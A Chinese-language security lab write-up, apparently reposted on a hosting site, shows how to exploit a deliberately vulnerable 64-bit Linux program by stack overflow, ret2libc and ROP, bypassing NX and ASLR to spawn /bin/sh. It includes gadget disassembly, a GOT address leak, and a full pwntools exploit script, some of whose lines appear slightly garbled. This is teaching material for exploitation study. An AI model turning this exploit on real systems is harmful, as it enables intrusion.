您好,登錄后才能下訂單哦!
一.實驗要求
棧溢出+ ret2libc ROP
? 操作系統:Ubuntu 16.04 64bit
? 安全機制:不可執行位保護,ASLR(內存地址隨機化)
打開安全機制,確保×××能繞過以上安全機制,利用漏洞完成attack,實現基本目標:調用system(“/bin/sh”),打開shell。
二.實驗概述
ret2libc(return-into-libc)是一種利用緩沖區溢出的代碼復用技術,主要通過覆蓋棧幀的返回地址(EIP),使其返回到系統中的庫函數,利用庫函數中已有的功能來實施attack,而不是直接定位到注入的shellcode。
Linux系統關于緩沖區溢出主要有棧不可執行和ASLR的保護機制。ASLR 可以實現對進程的堆、棧、代碼和共享庫等的地址在程序每次運行的時候的隨機化,大大增加了定位的難度。此外,在Linux64位系統中,函數間傳遞參數不再以壓棧的方式,而是以寄存器方式傳遞參數。所以,要想在64位Ubuntu系統中實施attack操作,除了要繞過上述兩個安全機制外,還需要控制用于傳遞參數的寄存器。本次attack主要有三個關鍵點:
1) 棧不可執行→代碼復用(ret2libc調用系統函數)
2) ASLR→通過plt和got表獲取系統函數的地址
3) 64位系統以寄存器方式傳遞參數→通過ROP控制寄存器
三.實驗環境
Ubuntu desktop 16.04 LTS amd64
Gcc Gdb Python PwnTool
四.實驗內容
4.1 漏洞程序
漏洞程序vul.c代碼如下,main函數把“Hello ,World”讀取到標準輸出中,調用vulnerable_function()函數。在vulnerable_function()函數中,申請了128字節的buf,調用read()讀取標準輸入到buf中,未做邊界檢查,這就是漏洞所在。
將地址空間隨機化打開sudo sysctl –w kernel.randomize_va_space=2
gcc編譯漏洞程序,顯式指明-z noexecstack,正常運行效果如下圖所示:
4.2 attack漏洞程序
4.2.1 獲取溢出點位置
為了正確定位溢出點位置,構造如下txt文件。
在gdb調試中運行發現溢出,由于程序使用的內存地址不能大于0x00007fffffffffff,否則會拋出異常,所以程序停在了vulnerable_function()函數中。雖然PC不能跳轉,但ret相當于“pop RIP”指令,所以只需看一下棧頂的數值就能知道PC跳轉的地址。可以看到棧頂的數據為0x3765413665413565,即e5Ae6Ae7,在文件中是第137個字節,所以溢出點為136。
4.2.2 尋找gadgets
64位Ubuntu系統中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果有更多的參數再保存在棧上。漏洞程序中只有read()和write()兩個函數,沒有其他輔助組件。為了控制傳遞參數的寄存器,可以在程序初始化函數中提取通用的gadgets。
輸入objdump –d ./vul觀察_libc_csu_init()函數。
有兩處可以利用的配件:
配件1
4005f0: 4c 89 ea mov %R13,%RDX
4005f3: 4c 89 f6 mov %R14,%RSI
4005f6: 44 89 ff mov %R15d,%EDI
4005f9: 41 ff 14 dc callq *(%R12,%RBX,8)
4005fd: 48 83 c3 01 add $0x1,%RBX
400601: 48 39 eb cmp %RBP,%RBX
400604: 75 ea jne 4005f0 <__libc_csu_init+0x40>
利用配件1,如將RBX設置為0,R12可以控制,通過callq*(%R12,%RBX,8)就可以跳轉到任意地址執行代碼。之后將RBX寄存器內容加1后,判斷如果RBP等于RBX,就會繼續執行第一次的代碼。為了讓RBP和RBX的值相等,可以將RBP的值設置為1。
配件2
400606: 48 83 c4 08 add $0x8,%rsp
40060a: 5b pop %RBX
40060b: 5d pop %RBP
40060c: 41 5c pop %R12
40060e: 41 5d pop %R13
400610: 41 5e pop %R14
400612: 41 5f pop %R15
400614: c3 retq
利用配件2可以將棧上數據放到指定寄存器中。
通過利用這兩處配件,布置棧中數據,便可以利用配件2控制RBX,RBP,R12,R13,R14,R15寄存器的值,再利用配件1,控制RDX,RSI,EDI寄存器,調用寄存器R12中所存地址的函數。
4.2.3 通過偏移獲取system函數的地址
由于ASLR機制是將棧和共享庫文件等的起始地址隨機化,而內部數據之間的偏移不變,所以可以通過先泄漏出libc.so某些函數在內存中的地址,然后再利用泄漏出的函數地址根據偏移量計算出system()函數的地址。
在漏洞程序vul.c中調用了write()和read()函數,可以通過write()輸出write的got地址,再計算出libc.so在內存中的地址。為了返回到原程序中,重復利用漏洞,需要繼續覆蓋棧上的數據,直到把返回值覆蓋成目標函數的main函數為止。
構造payload1需要知道三個數據:write的got地址,write和system的偏移,main函數的地址。前兩個數據可利用pwntool中的函數獲得,而main函數的地址在命令行中輸入objdump -d vul | grep main獲得。
執行完后棧結構如下圖所示,調用callq[R12+RBX*8],RBX為0,所以調用R12中的write函數,write的三個參數分別通過EDI,RSI,RDX寄存器傳遞,即執行wrtie(1,got_write,8),將write的函數地址在標準輸出即屏幕上打印出來,通過之前計算的偏移就可以計算出system函數的地址。然后RBX加1,與RBP=1比較,正好相等,繼續往下執行,由于下邊全是0,最后跳轉到函數main處繼續執行。
4.2.4 利用read()將system()地址和字符串“/bin/sh”讀入.BSS段中
由于64位系統的參數不是保存在棧上,而是通過寄存器傳遞,再加上開啟了ASLR,需要找一個地址固定的地方保存參數。BSS段用來保存全局變量值,地址固定,并且可以讀可寫。為了方便調用system函數和傳遞參數” /bin/sh”,可以利用read()函數將其寫入到地址固定的BSS段中。
構造payload2需要知道兩個數據:read的got地址,BSS段的首地址。其中read的got地址直接利用pwntool中的方法即可獲得,而BSS段首地址可在命令行中輸入readelf -S vul | grep BSS獲得。
執行完后棧結構如下圖所示,與payload1類似,調用R12中的read函數,所需的三個參數分別通過EDI,RSI,RDX傳遞,即執行read(0,BSS_addr,16),從標準輸入中讀取16個字節寫入BSS段的首地址中,這16個字節包括上一步計算出的system地址和字符串”/bin/sh”。
4.2.5 執行system(“/bin/sh”)
經過以上兩步,已經把system的地址和調用時所需的參數“/bin/sh”字符串存入了BSS段中,BSS段地址固定,構造payload3調用system。
執行完后棧結構如下圖所示,類似的,R12中存儲的是BSS段首地址,BSS段的首地址存儲的是system函數的地址。R15中存儲的是BSS首地址+8,BSS+8存儲的是字符串”/bin/sh”,將R15的值賦給EDI,EDI用來傳遞第一個參數,即調用了system(“/bin/sh”)。
最終獲得了shell,運行結果如下圖所示:
附:
attack代碼exp.py
`#!/usr/bin/env python
from pwn import *
elf = ELF('vul')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vul')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
main = 0x40057a
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x41"*136
#pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)
#mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx8]
payload1 += p64(0x4005f0)
payload1 += "\x00"56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601040
p.recvuntil("Hello, World\n")
#####################payload2###########
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
payload2 += p64(0x4005f0)
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#####################payload3###########
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
payload3 += p64(0x4005f0)
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
`
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。